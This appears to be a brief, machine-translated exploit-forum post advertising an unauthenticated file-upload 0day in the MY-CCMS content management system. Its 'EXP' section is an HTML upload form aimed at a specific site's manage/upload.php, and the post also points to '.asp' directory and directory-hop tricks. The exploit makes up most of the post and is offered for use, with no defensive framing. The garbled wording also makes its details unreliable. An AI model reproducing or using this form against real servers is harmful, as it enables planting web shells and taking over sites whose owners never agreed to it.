MY-CCMS All Ver File Upload 0day

Vulnerability location: manage/upload. php(Code saving) Download(22.49 KB)
4 hours ago

You can also create a directory named ". asp" and a directory hop vulnerability.

EXP:

<Form id = "frmUpload" enctype = "multipart/form-data"
Action ="Http://chemlg.com/manage/upload.php"Method =" post "> upload files other than php to the root directory: <br>
<Input type = "file" name = "Filedata" size = "50"> <br>
<Input id = "Filedata" type = "submit" value = "Upload">
</Form>

First launch: yichen is a tool in Rural Areas